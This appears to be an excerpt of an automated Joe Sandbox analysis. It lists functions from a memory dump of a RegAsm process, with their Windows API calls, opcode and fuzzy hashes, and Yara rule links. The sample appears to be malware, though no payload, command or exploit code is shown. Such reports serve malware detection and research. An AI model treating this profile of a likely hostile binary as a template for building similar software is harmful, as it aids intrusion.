Opcode ID: d4c02824f7d2cfb2416021d6dbb8b7306e326f2f7caeeaf32d703e0c6b591cd6
Instruction ID: d074c9bdc53c2ae6e50ed068fe5b00b2a9db18cb2d959dd177b800b6f206c831
Opcode Fuzzy Hash: d4c02824f7d2cfb2416021d6dbb8b7306e326f2f7caeeaf32d703e0c6b591cd6
Instruction Fuzzy Hash: A6617275A00109EFCB08CF98C594AEEBBB2BF88305F20819AE915A7355D735AE81DF54

Function 0054BBD1 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054BB93,?,?,?,?,?), ref: 0054BC0D
GetLastError.KERNEL32(?,?,0054BB93,?,?,?,?,?,00589670,00000018,0054BD64,?,?,?,?,?), ref: 0054BC1A

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction ID: ef7a8fef63b71a44ed52422d52d87043f3a7a095563021ebdcfa11457343129a
Opcode Fuzzy Hash: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction Fuzzy Hash: 68012632610155AFDF058F6ADC49DEE3F29FB95338B240209F841DB190EB71ED419B90

Function 0055B421 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0055FFB4,0041C3C8,00000000,0041C3C8,?,00560255,0041C3C8,00000007,0041C3C8,?,0056084A,0041C3C8,0041C3C8), ref: 0055B437
GetLastError.KERNEL32(0041C3C8,?,0055FFB4,0041C3C8,00000000,0041C3C8,?,00560255,0041C3C8,00000007,0041C3C8,?,0056084A,0041C3C8,0041C3C8), ref: 0055B442

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 6ea4651e377bff4be0b0e1f2cdf3dfd4f67a693199816d5ecf9c0c93f271283d
Instruction ID: 924246b360743d5adec2253e11b7e0ed1fd4fefad911080028757f78698ee344
Opcode Fuzzy Hash: 6ea4651e377bff4be0b0e1f2cdf3dfd4f67a693199816d5ecf9c0c93f271283d
Instruction Fuzzy Hash: 6FE08632101605EBDF112BA4EC0DBAD3F59BB50395F154061FA08861A1C7708958DBD0

Function 005589C1 Relevance: 2.6, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,CF830579,?,005588A8,00000000,CF830579,00589A30,0000000C,00558964,0054F89D,?), ref: 00558A17
GetLastError.KERNEL32(?,005588A8,00000000,CF830579,00589A30,0000000C,00558964,0054F89D,?), ref: 00558A21

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction ID: 34048f49f0682552de953bb14b7ec8d2ae5005c56339cee503352dc134d993b2
Opcode Fuzzy Hash: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction Fuzzy Hash: 531125336052105EEA255274FC6AB7E3F5A7B82736F29070BED08AB1D1DE609C8C8192

Function 0054F0C5 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d8246fbb80c73fa88ba40215bc667caab47cd58235473b3f20f7f2a33f4f39
Instruction ID: c29b62008b346feeada97876dac7d8e6a4ce1a8194132e313afe00ddb716d566
Opcode Fuzzy Hash: d5d8246fbb80c73fa88ba40215bc667caab47cd58235473b3f20f7f2a33f4f39
Instruction Fuzzy Hash: 7651A279A04108AFDF14CF5CCC89AE97FB1BF99318F248169E8499B252D3B19E41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: ae5f2f26c0d599025e0ca97d8b441c5013cb85f58257f6b57f861b0c9ea29069
Instruction ID: 116015eaf527f0b1982685d10685c49746b35df47215dc5781f667e9ddf383d3
Opcode Fuzzy Hash: ae5f2f26c0d599025e0ca97d8b441c5013cb85f58257f6b57f861b0c9ea29069
Instruction Fuzzy Hash: 1151AEB4E04209DFCB04CF99D490AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00432D40 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00432E1A

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 75a9f80101e5d36f66d1d0f72f015ddca4462e52f997d0a212fedcc7cb4ed29f
Instruction ID: 45b6f63da3570923d1b3c5de4e04317714a7cb2b42decc6fec9e84e6155ee68e
Opcode Fuzzy Hash: 75a9f80101e5d36f66d1d0f72f015ddca4462e52f997d0a212fedcc7cb4ed29f
Instruction Fuzzy Hash: 2521A074D0020DDFCF04DFA5C9859AEBBB1FF89304F14816AE80227355D735A945CBA5

Function 0042DC50 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042DC60

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: a6fb5dde44e82a892966d922d239ed6aa50bc4b3ced1092f4f90dd0ec7baa49b
Instruction ID: 645dd8e041fc49f5174826ac0665943c5158fa6918f172bb6735418e1974a661
Opcode Fuzzy Hash: a6fb5dde44e82a892966d922d239ed6aa50bc4b3ced1092f4f90dd0ec7baa49b
Instruction Fuzzy Hash: 9811C9B9E40209FFEF00DFE4D846BAEBB74FB88700F104559EA14A7381D6716A00DB95

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4d961e926de3f608138ec2d746d7007bbd1f9dde6943df31f11f7c7b4338fe8d
Instruction ID: 869ab5568682ad15e99302d89ec85c8ee2891bf7aac97ea4cf070d32e3229af5
Opcode Fuzzy Hash: 4d961e926de3f608138ec2d746d7007bbd1f9dde6943df31f11f7c7b4338fe8d
Instruction Fuzzy Hash: 03F031F0D1010CABCB04EFA8C48569EFBB5EF44344F1081AAE80597394E2349E81DB85

Function 00506C80 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00506C9D

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 73b47f7bd07e15f5c199576c6bc464965e74fbdd8e6b8335aeaa1fce58ab3641
Instruction ID: 27d6b0f14bdc8df5c149e1c3db57fbdc5afaca3cbefc96f6a2f21912217cf939
Opcode Fuzzy Hash: 73b47f7bd07e15f5c199576c6bc464965e74fbdd8e6b8335aeaa1fce58ab3641
Instruction Fuzzy Hash: 55F03CB0C00248EBDF10EFA5C44569DBFB4FB04314F2086AEE865662C1D6799B94CB95

Function 005013C0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 005013DD

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: cb5995437b45c9a39d5c3f3a9a17b3d391dc4d86aa0b610d5a4390aa34024e49
Instruction ID: e4309a430077ca2301ac788c5d9ed95de07c680818ca4a53bf3ccb11ae0ffce5
Opcode Fuzzy Hash: cb5995437b45c9a39d5c3f3a9a17b3d391dc4d86aa0b610d5a4390aa34024e49
Instruction Fuzzy Hash: 6CF0E7B0C04249EBCF04EFE5D4456DEBFF4BB54344F1084AED8056B291D379A694CB9A

Function 0055B45B Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000A8750,?,0053EE88,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055B48D

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34e944f1193de25cad6c6268fa7f666e1cd852c0fe56dd2940ed258b4c47d558
Instruction ID: 1c09f8751f9ad0378e2c381b6aa0d22663e0394ab4c576d7e2214ff403ae7fa6
Opcode Fuzzy Hash: 34e944f1193de25cad6c6268fa7f666e1cd852c0fe56dd2940ed258b4c47d558
Instruction Fuzzy Hash: CCE06575505216EAFE3126669C2DB6E3F4EBB817B2F150123BC4596192DB60DC0981E0

Function 0051D0B0 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051CE70: SetLastError.KERNEL32(000005B6), ref: 0051CF1F

boost::exception::~exception.LIBCPMTD ref: 0051D0F4

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: 127a9da44362022521f033e18a0ae39a28386dc14d0daf764fa44cf252a51278
Instruction ID: 9d65acf10fa5897c4cb51372974a7a7b872250a04e27f6b01d4dc6cbf0bd463c
Opcode Fuzzy Hash: 127a9da44362022521f033e18a0ae39a28386dc14d0daf764fa44cf252a51278
Instruction Fuzzy Hash: 10F08C75840649EBCB04EF84D942BAEBF78FB44B20F10472CF426636D0DB352A00CB91

Function 0050C650 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050C6A6,0050CCEF,0000002E,00000000,?,0050CCEF), ref: 0050C660

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction ID: dd8f41f4e9f27020e8a2b087f4928897653eaeb815a31aef6cf1a2e453e85e8b
Opcode Fuzzy Hash: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction Fuzzy Hash: B4F01C30A08248EBCB20CBA8C54046D7FF5AB4A301B24469AE80597241D632DF00AB80

Non-executed Functions

Function 00540905 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(00440315,00000000,?), ref: 0054099D
GetLastError.KERNEL32 ref: 005409A7
FindFirstFileW.KERNEL32(00440315,?), ref: 005409BE
GetLastError.KERNEL32 ref: 005409C9
FindClose.KERNEL32(00000000), ref: 005409D5
___std_fs_open_handle@16.LIBCPMT ref: 00540A8E

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: d42f15c2a6db202036fe90f2e2bfb0e91550acdf50c4596346993b15bfd7011d
Instruction ID: d438b49d91ebf40d0e8e65f5be02901b8155060303c3cbee24098b5dc06c8deb
Opcode Fuzzy Hash: d42f15c2a6db202036fe90f2e2bfb0e91550acdf50c4596346993b15bfd7011d
Instruction Fuzzy Hash: E0719B74A00619AFDB60CF28C888BEEBBB8FF15328F245695E954E32C1DB709D44CB51

Function 0042CD50 Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 551COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042CE3E
__aulldiv.LIBCMT ref: 0042CEC0

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 0042CFCE

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,00000000,eks,?), ref: 0042D3B5

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

__aulldiv.LIBCMT ref: 0042D23D

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

__aulldiv.LIBCMT ref: 0042D537

Strings

eks, xrefs: 0042D288, 0042D2B7
j3l6lrek, xrefs: 0042D346, 0042D375

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExclusiveLock$AcquireRelease$ByteCharConditionMultiVariableWakeWide
String ID: eks$j3l6lrek
API String ID: 2311560058-388657971
Opcode ID: 072f2b9ceb81a9fa8c865d9dfb1e546a149dd4610240c47455cb603f2730833a
Instruction ID: 656ff1fafc0402bd15cf97b20929c59a3b500642dc8d12530b5c4c7dbac2176f
Opcode Fuzzy Hash: 072f2b9ceb81a9fa8c865d9dfb1e546a149dd4610240c47455cb603f2730833a
Instruction Fuzzy Hash: 48324A74E002289FEB24DF64DC55BEEBBB1BB88304F1081A9E909A7381D7746E85CF55

Function 004242B0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00424313

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00424358
__aulldiv.LIBCMT ref: 004244C9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000085,00000000,00000007,00000000,?,0000AA7A,00000000), ref: 004244EF
RegCloseKey.ADVAPI32(?), ref: 00424542

Strings

eks, xrefs: 00424559, 00424588
j3l6lrek, xrefs: 00424617, 00424646

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 0e1b9639b1f5deafb3ca08739b64952efc4175f032e75f4f2edd6c91041de1fc
Instruction ID: 491dfe973cfee1e3c9ef4379c42601739974c236a8ee3e86afb2c1e71b1db1af
Opcode Fuzzy Hash: 0e1b9639b1f5deafb3ca08739b64952efc4175f032e75f4f2edd6c91041de1fc
Instruction Fuzzy Hash: 99C14A70E04218AFDB14CFA4DC91BAEBBB5FF89304F14809AE509A7391DB386A45CF55

Function 004213A0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000085,00000000,00000007,00000000,?,0000AA7A,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

eks, xrefs: 00421649, 00421678
j3l6lrek, xrefs: 00421707, 00421736

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 9990e7e76fedeae98b5322bbc0df4055cc51598f7bc49c2b05d0fc539e1c4b9f
Instruction ID: 445fe49cdeaca878d9e7818506fae736db94ce0e42e47b148ad41fdb42a36499
Opcode Fuzzy Hash: 9990e7e76fedeae98b5322bbc0df4055cc51598f7bc49c2b05d0fc539e1c4b9f
Instruction Fuzzy Hash: 5EC17C70E04218AFDB14CFA4DC95BAEBBB5BF98304F14809AE409B7391DB346A45CF55

Function 00442070 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00442204
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,00000085,00000000,00000007,00000000,0000AA7A,00000000), ref: 0044222A
GetLastError.KERNEL32(?,0000AA7A,00000000), ref: 004423EE
GetLastError.KERNEL32(?,0000AA7A,00000000), ref: 004426C4

Strings

eks, xrefs: 004422AC, 004422DB, 00442408, 00442437
j3l6lrek, xrefs: 0044236A, 00442399, 004424C6, 004424F5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__aulldiv$AllocGlobal
String ID: eks$j3l6lrek
API String ID: 2907542317-388657971
Opcode ID: 25c6d4fb9024c041958110f4423a5b4c5d76298ade34168d39f4ab3b81fe8842
Instruction ID: 9f84a0050f59e8236fd2ba38f95f3d1390ff4bc6d5cb27f74b57c34b6ddbe6ce
Opcode Fuzzy Hash: 25c6d4fb9024c041958110f4423a5b4c5d76298ade34168d39f4ab3b81fe8842
Instruction Fuzzy Hash: E6126CB0E002189FEB24CFA4CD51BEEBBB5BB48304F1481AAE509A7381D7785E85CF55

Function 00567E9D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 00567F2F

Strings

Bad dynamic_cast!, xrefs: 00567F71

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: 20f3693d08572e597083f22b303d3ab7abb4cb9912c833fe1fd9c5369746976c
Instruction ID: 975de1d90ee75d9ecaa86030a501d587ede8577b15ad686d0425f08efe5c4ed0
Opcode Fuzzy Hash: 20f3693d08572e597083f22b303d3ab7abb4cb9912c833fe1fd9c5369746976c
Instruction Fuzzy Hash: 41510972A04209ABCB14DF68DC499BABFA5FF89324F048669ED1597241EB31FD14C7A0

Function 00561860 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00561B72,00000002,00000000,?,?,?,00561B72,?,00000000), ref: 005618F9
GetLocaleInfoW.KERNEL32(?,20001004,00561B72,00000002,00000000,?,?,?,00561B72,?,00000000), ref: 00561922
GetACP.KERNEL32(?,?,00561B72,?,00000000), ref: 00561937

Strings

ACP, xrefs: 0056187E
OCP, xrefs: 005618B4

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c2ab0fff28f4a76f52ff4344313262480a5841cb279491b13e57ae138434488c
Instruction ID: 40d7558f0b0175fc942c61baf373a59243dbf15b6e24df5cd838e8e648014c1c
Opcode Fuzzy Hash: c2ab0fff28f4a76f52ff4344313262480a5841cb279491b13e57ae138434488c
Instruction Fuzzy Hash: FE218622A00905AAEB348F64C911AB77EB7BF60F50B5E8424E94ADB201EB32DD41D358

Function 0042D570 Relevance: 8.0, APIs: 5, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042D702

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042D900

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c8c50dc5f89686b1c47334b22426cc4391644bdd7c0fa157914b1661be120d11
Instruction ID: bb14e70ad36b082a0b5e9c8789b4c92799cc7f9f4f447bf921ed53f564aa29e2
Opcode Fuzzy Hash: c8c50dc5f89686b1c47334b22426cc4391644bdd7c0fa157914b1661be120d11
Instruction Fuzzy Hash: CB127EB1E00219AFEB24DF64DC51BAEBBB5BF88304F1481A9F809A7381DB346D448F55

Function 00561A3C Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00561B44
IsValidCodePage.KERNEL32(00000000), ref: 00561B82
IsValidLocale.KERNEL32(?,00000001), ref: 00561B95
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00561BDD
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00561BF8

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ca024633b9754248d0d0cfe8ded1d1c962b50105e441bf64056eb0b1e61b4ea5
Instruction ID: 9d7a95eafc06635e98c18416b46754a86e572d1fc1e9b3110dad2ce25cbd1492
Opcode Fuzzy Hash: ca024633b9754248d0d0cfe8ded1d1c962b50105e441bf64056eb0b1e61b4ea5
Instruction Fuzzy Hash: 7D519471A00A069FEB10DFA5CC45BBE7BB8FF44700F184469E915E7291EBB09D44CB65

Function 00441480 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

__aulldiv.LIBCMT ref: 00441791

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

Strings

eks, xrefs: 004417EB, 0044181A
^)<, xrefs: 0044157B
j3l6lrek, xrefs: 004418A9, 004418D8

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: ^)<$eks$j3l6lrek
API String ID: 2808616827-1691098573
Opcode ID: 83d74b34876a2772d019437f0c55076331529412956233cee1c19d92ad37e1c6
Instruction ID: 61ddee64e97e81d89b636c2aae87605fd75d4fc85ae8e501c6fc247a7cddca84
Opcode Fuzzy Hash: 83d74b34876a2772d019437f0c55076331529412956233cee1c19d92ad37e1c6
Instruction Fuzzy Hash: 88E16670D002589FDF14DFA9D881BEEBBB1BF89304F1481AAE409A7351DB346A85CF65

Function 005610C7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetACP.KERNEL32(?,?,?,?,?,?,00556E86,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00561186
